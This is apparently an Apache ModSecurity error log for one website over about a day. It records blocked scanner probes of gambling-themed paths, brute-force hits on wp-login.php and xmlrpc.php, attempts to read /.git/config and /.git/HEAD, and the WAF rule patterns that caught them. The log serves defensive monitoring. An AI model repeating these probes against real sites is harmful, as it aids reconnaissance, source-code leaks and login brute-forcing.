[Wed May 13 22:03:20.078824 2026] [:error] [pid 12337:tid 12366] [client 145.239.65.175:36564] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "agSEqA9W0E4_X4qzYUFmJQAAABg"]
[Wed May 13 22:03:22.083517 2026] [:error] [pid 12337:tid 12357] [client 145.239.65.175:36580] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "agSEqg9W0E4_X4qzYUFmJgAAAA8"]
[Wed May 13 22:03:24.088527 2026] [:error] [pid 12340:tid 12396] [client 145.239.65.175:36590] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "agSErMrxSPfvmN7BQjJ1pAAAAIA"]
[Wed May 13 22:03:26.093520 2026] [:error] [pid 12338:tid 12381] [client 145.239.65.175:36498] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "agSErsUJ87l42ffPr4wNywAAAEw"]
[Wed May 13 22:03:28.087841 2026] [:error] [pid 12338:tid 12378] [client 145.239.65.175:36508] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "agSEsMUJ87l42ffPr4wNzgAAAEk"]
[Wed May 13 22:03:30.095286 2026] [:error] [pid 12338:tid 12380] [client 145.239.65.175:36524] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "agSEssUJ87l42ffPr4wN0AAAAEs"]
[Wed May 13 22:03:32.097832 2026] [:error] [pid 12426:tid 12447] [client 145.239.65.175:36530] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "agSEtLPw24RslX3LIcYwwAAAANM"]
[Wed May 13 22:03:34.095673 2026] [:error] [pid 12338:tid 12369] [client 145.239.65.175:36536] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "agSEtsUJ87l42ffPr4wN0gAAAEA"]
[Wed May 13 22:03:36.098758 2026] [:error] [pid 12340:tid 12406] [client 145.239.65.175:50270] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "agSEuMrxSPfvmN7BQjJ1sgAAAIo"]
[Wed May 13 22:03:38.086028 2026] [:error] [pid 12426:tid 12445] [client 145.239.65.175:50286] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "agSEurPw24RslX3LIcYwxgAAANE"]
[Wed May 13 22:03:40.091684 2026] [:error] [pid 12426:tid 12436] [client 145.239.65.175:50290] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "agSEvLPw24RslX3LIcYwygAAAMg"]
[Wed May 13 22:03:42.099231 2026] [:error] [pid 12426:tid 12444] [client 145.239.65.175:50296] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "agSEvrPw24RslX3LIcYw0AAAANA"]
[Wed May 13 22:03:44.095128 2026] [:error] [pid 12338:tid 12384] [client 145.239.65.175:50308] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "agSEwMUJ87l42ffPr4wN2QAAAE8"]
[Wed May 13 22:03:46.093495 2026] [:error] [pid 12426:tid 12443] [client 145.239.65.175:50078] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "agSEwrPw24RslX3LIcYw2QAAAM8"]
[Wed May 13 22:03:48.089742 2026] [:error] [pid 12426:tid 12446] [client 145.239.65.175:50092] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "agSExLPw24RslX3LIcYw3AAAANI"]
[Wed May 13 22:03:50.087149 2026] [:error] [pid 12340:tid 12412] [client 145.239.65.175:50106] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "agSExsrxSPfvmN7BQjJ1yQAAAJA"]
[Wed May 13 22:03:52.087652 2026] [:error] [pid 12338:tid 12387] [client 145.239.65.175:50120] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "agSEyMUJ87l42ffPr4wN4AAAAFI"]
[Wed May 13 22:03:54.081645 2026] [:error] [pid 12426:tid 12443] [client 145.239.65.175:50122] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "agSEyrPw24RslX3LIcYw5wAAAM8"]
[Wed May 13 22:03:56.074411 2026] [:error] [pid 12426:tid 12432] [client 145.239.65.175:47290] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "agSEzLPw24RslX3LIcYw6gAAAMQ"]
[Wed May 13 22:03:58.071820 2026] [:error] [pid 12426:tid 12444] [client 145.239.65.175:47298] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "agSEzrPw24RslX3LIcYw7gAAANA"]
[Wed May 13 22:03:59.912746 2026] [:error] [pid 12426:tid 12443] [client 145.239.65.175:47308] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "agSEz7Pw24RslX3LIcYw9AAAAM8"]
[Wed May 13 22:04:01.910015 2026] [:error] [pid 12338:tid 12370] [client 145.239.65.175:47312] [client 145.239.65.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "agSE0cUJ87l42ffPr4wN5gAAAEE"]
[Wed May 13 22:18:00.635436 2026] [:error] [pid 12426:tid 12452] [client 45.164.122.18:5222] [client 45.164.122.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.164.122.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agSIGLPw24RslX3LIcY0lwAAANg"]
[Wed May 13 22:18:10.510932 2026] [:error] [pid 12338:tid 12389] [client 45.164.122.18:5366] [client 45.164.122.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.164.122.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agSIIsUJ87l42ffPr4wPyQAAAFQ"]
[Wed May 13 22:18:21.133230 2026] [:error] [pid 12426:tid 12442] [client 45.164.122.18:5475] [client 45.164.122.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.164.122.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agSILbPw24RslX3LIcY0qQAAAM4"]
[Wed May 13 22:18:31.828165 2026] [:error] [pid 12337:tid 12366] [client 45.164.122.18:5632] [client 45.164.122.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.164.122.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agSINw9W0E4_X4qzYUFn5gAAABg"]
[Wed May 13 22:18:42.519089 2026] [:error] [pid 12340:tid 12407] [client 45.164.122.18:5786] [client 45.164.122.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.164.122.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agSIQsrxSPfvmN7BQjJ4zwAAAIs"]
[Wed May 13 22:27:49.935161 2026] [:error] [pid 12337:tid 12361] [client 129.226.210.142:35434] [client 129.226.210.142] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agSKZQ9W0E4_X4qzYUFp9gAAABM"]
[Wed May 13 22:55:08.101712 2026] [:error] [pid 12338:tid 12378] [client 62.210.124.187:45064] [client 62.210.124.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.210.124.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agSQzMUJ87l42ffPr4wWpwAAAEk"]
[Wed May 13 22:55:09.817464 2026] [:error] [pid 12338:tid 12384] [client 62.210.124.187:45064] [client 62.210.124.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.210.124.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agSQzcUJ87l42ffPr4wWrQAAAE8"], referer: https://gigfragments.org/wp-login.php
[Wed May 13 23:16:47.467860 2026] [:error] [pid 12337:tid 12359] [client 43.133.91.48:32808] [client 43.133.91.48] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agSV3w9W0E4_X4qzYUFwKQAAABE"]
[Thu May 14 00:16:35.542888 2026] [:error] [pid 17873:tid 17886] [client 159.223.121.195:37166] [client 159.223.121.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "agSj4_EqBQQrkyEyu_oW4QAAAQs"]
[Thu May 14 00:40:39.985614 2026] [:error] [pid 12337:tid 12360] [client 43.98.255.162:55656] [client 43.98.255.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 43.98.255.162, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agSphw9W0E4_X4qzYUF6JQAAABI"]
[Thu May 14 00:40:42.434450 2026] [:error] [pid 12337:tid 12362] [client 43.98.255.162:55656] [client 43.98.255.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 43.98.255.162, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agSpig9W0E4_X4qzYUF6KAAAABQ"], referer: https://gigfragments.org/wp-login.php
[Thu May 14 01:40:35.903032 2026] [:error] [pid 12426:tid 12447] [client 47.163.85.148:37960] [client 47.163.85.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.163.85.148, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agS3k7Pw24RslX3LIcZmqwAAANM"]
[Thu May 14 01:40:37.577232 2026] [:error] [pid 12426:tid 12441] [client 47.163.85.148:37960] [client 47.163.85.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.163.85.148, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agS3lbPw24RslX3LIcZmrQAAAM0"], referer: https://gigfragments.org/wp-login.php
[Thu May 14 02:02:20.868796 2026] [:error] [pid 17873:tid 17885] [client 103.191.241.228:55014] [client 103.191.241.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.191.241.228, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agS8rPEqBQQrkyEyu_ox4wAAAQo"]
[Thu May 14 02:02:23.988061 2026] [:error] [pid 17873:tid 17883] [client 103.191.241.228:55014] [client 103.191.241.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.191.241.228, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agS8r_EqBQQrkyEyu_ox5AAAAQg"], referer: https://gigfragments.org/wp-login.php
[Thu May 14 02:07:42.344901 2026] [:error] [pid 12340:tid 12414] [client 18.204.4.10:54056] [client 18.204.4.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.204.4.10, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agS97srxSPfvmN7BQjK-pwAAAJI"]
[Thu May 14 02:07:48.102937 2026] [:error] [pid 12340:tid 12411] [client 18.204.4.10:54056] [client 18.204.4.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.204.4.10, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agS99MrxSPfvmN7BQjK-sQAAAI8"], referer: https://gigfragments.org/wp-login.php
[Thu May 14 02:49:11.695070 2026] [:error] [pid 12340:tid 12417] [client 138.68.243.214:53918] [client 138.68.243.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.68.243.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agTHp8rxSPfvmN7BQjLO5AAAAJU"]
[Thu May 14 02:49:13.343002 2026] [:error] [pid 12340:tid 12411] [client 138.68.243.214:53918] [client 138.68.243.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.68.243.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agTHqcrxSPfvmN7BQjLO6QAAAI8"], referer: https://gigfragments.org/wp-login.php
[Thu May 14 02:50:41.612435 2026] [:error] [pid 12338:tid 12389] [client 76.164.199.140:48762] [client 76.164.199.140] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "agTIAcUJ87l42ffPr4w4ngAAAFQ"]
[Thu May 14 02:50:41.613532 2026] [:error] [pid 12340:tid 12420] [client 76.164.199.140:48790] [client 76.164.199.140] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/HEAD"] [unique_id "agTIAcrxSPfvmN7BQjLPbAAAAJg"]
[Thu May 14 03:39:13.854204 2026] [:error] [pid 8203:tid 8210] [client 157.90.213.242:40372] [client 157.90.213.242] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.90.213.242, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agTTYW3YM_UDNwFJPi71owAAAMU"]
[Thu May 14 03:39:15.726419 2026] [:error] [pid 8203:tid 8208] [client 157.90.213.242:40372] [client 157.90.213.242] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.90.213.242, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agTTY23YM_UDNwFJPi71pwAAAMM"], referer: https://gigfragments.org/wp-login.php
[Thu May 14 04:45:15.447201 2026] [:error] [pid 11690:tid 11701] [client 103.28.36.210:50686] [client 103.28.36.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agTi2ynxWuLN8Hptw8ldoQAAAMI"]
[Thu May 14 04:45:17.194064 2026] [:error] [pid 11690:tid 11703] [client 103.28.36.210:50686] [client 103.28.36.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agTi3SnxWuLN8Hptw8ldqAAAAMQ"], referer: https://gigfragments.org/wp-login.php
[Thu May 14 05:35:03.593116 2026] [:error] [pid 11690:tid 11721] [client 64.226.120.21:36628] [client 64.226.120.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.226.120.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agTuhynxWuLN8Hptw8lr8gAAANY"]
[Thu May 14 05:35:09.033972 2026] [:error] [pid 11690:tid 11706] [client 64.226.120.21:36628] [client 64.226.120.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.226.120.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agTujSnxWuLN8Hptw8lr-AAAAMc"], referer: https://gigfragments.org/wp-login.php
[Thu May 14 06:28:13.651618 2026] [:error] [pid 11588:tid 11671] [client 153.0.124.126:19803] [client 153.0.124.126] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agT6_dUr21rOixkeGKYQrgAAAJM"]
[Thu May 14 06:56:30.832425 2026] [:error] [pid 11690:tid 11720] [client 39.97.110.217:59656] [client 39.97.110.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 39.97.110.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agUBninxWuLN8Hptw8mFVwAAANU"]
[Thu May 14 06:56:32.359424 2026] [:error] [pid 11690:tid 11710] [client 39.97.110.217:59656] [client 39.97.110.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 39.97.110.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agUBoCnxWuLN8Hptw8mFWAAAAMs"], referer: https://gigfragments.org/wp-login.php
[Thu May 14 07:19:01.630747 2026] [:error] [pid 63033:tid 63035] [client 43.159.140.236:57634] [client 43.159.140.236] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agUG5VMY49UWn5BpqVZ6HgAAAQA"]
[Thu May 14 07:35:54.120071 2026] [:error] [pid 11588:tid 11658] [client 104.168.92.217:53450] [client 104.168.92.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.168.92.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agUK2tUr21rOixkeGKYcMgAAAIY"]
